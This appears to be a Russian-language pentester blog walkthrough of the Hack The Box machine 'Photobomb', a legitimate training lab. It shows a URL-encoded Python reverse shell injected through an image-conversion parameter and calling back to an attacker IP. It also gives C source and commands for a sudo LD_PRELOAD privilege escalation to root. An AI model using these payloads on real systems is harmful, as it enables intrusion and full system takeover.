Skip to main content

Command Palette

Search for a command to run...

Photobomb | HTB Easy

Updated
2 min read
Photobomb | HTB Easy
S

Professional pentester, technical writer, telegram channel owner

Начинаем

Обнаруживаем сервисы:

> nmap --min-rate 1000 -v -sC -sV -T5 photobomb.htb

PORT     STATE   SERVICE   VERSION
22/tcp   open    ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|  3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|  256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp   open    http      nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-favicon: Unknown favicon MD5: 622B9ED3F0195B2D1811DF6F278518C2
| http-methods: 
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
2041/tcp filtered interbase
2042/tcp filtered isis
5678/tcp filtered rrac
8088/tcp filtered radan-http
19101/tcp filtered unknown
49156/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Веб-сервер на 80-ом порту с http basic аутентификацией по ссылке:

Изучая код страницы, находим скрипт photobomb.js:

В нем находим данные для аутентификации:

login : pH0t0
pass  : b0Mb!

Использовав их, проваливаемся в сервис:

Поиск каталогов ничего не дал, поэтому попробуем перехватить запрос через BurpSuite:

Закидываем перехваченный пакет в Repeater и начинаем тестировать параметры photo, filetype и dimensions на возможное исполнение кода конвертером изображений.

Reverse shell

Получаем реверс шелл модификацией параметра filetype, для этого добавляем ";" после значения параметра filetype + наш шелл.

(Взять его можно отсюда , также нужно закодить его в URLEncode).

В конечном итоге, измененная часть пакета выглядит так:

&filetype=jpg; python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.16.46%22%2C4343%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fsh%22%29%27&dimensions=3000x2000

Отравляем измененный пакет, запускаем слушатель на нашей машине и получаем юзера.

# reverse shell

$ whoami
whoami
wizard
$ ls
ls photobomb user.txt

Повышение привилегий

Посмотрим вывод команды sudo -l:

Видим, что мы можем манипулировать системными переменными при использовании /opt/cleanup.sh. А это значит, что мы можем повысить привилегии, используя способ через LD_PRELOAD.

Для этого берем эсксплойт по ссылке выше:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   unsetenv("LD_PRELOAD");
   setgid(0);
   setuid(0);
   system("/bin/bash");
}

Компилируем на нашей машине, используя следующую команду:

gcc -fPIC -shared -o pe.so pe.c -nostartfiles

И перекидываем на атакуемую машину, через файловый сервер (например python3 -m http.server). После меняем переменную LD_PRELOAD и получаем рута.

Rooted!

$ wget 10.10.16.46:8000/pe.so
wget 10.10.16.46:8000/pe.so
--2022-10-30 19:16:18-- http://10.10.16.46:8000/pe.so
Connecting to 10.10.16.46:8000... connected.
HTTP request sent, awaiting response... l200 OK
Length: 14224 (14K) [application/octet-stream]
Saving to: ‘pe.so’

2022-10-30 19:16:19 (34.1 KB/s) - ‘pe.so’ saved [14224/14224]

bash
$ ls
ls
log
pe.so
photobomb.sh
pshell
public
resized_images
server.rb
source_images
$ mv pe.so /tmp
mv pe.so /tmp
$ sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id   
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb#

More from this blog

Инъекция XSS в скрытых полях ввода и мета-тегах

​Введение​ В этом посте автор покажет, как вы можете использовать новую функцию всплывающих окон HTML в Chrome для эксплуатации XSS в мета-тегах и скрытых полях ввода. Все началось, когда я заметил новое поведение всплывающих окон в Chrome на Twitter...

Jul 13, 20233 min read178
Инъекция XSS в скрытых полях ввода и мета-тегах

Zybnev Sergey | Pentester | Blog

19 posts

Professional pentester, programmer and web designer.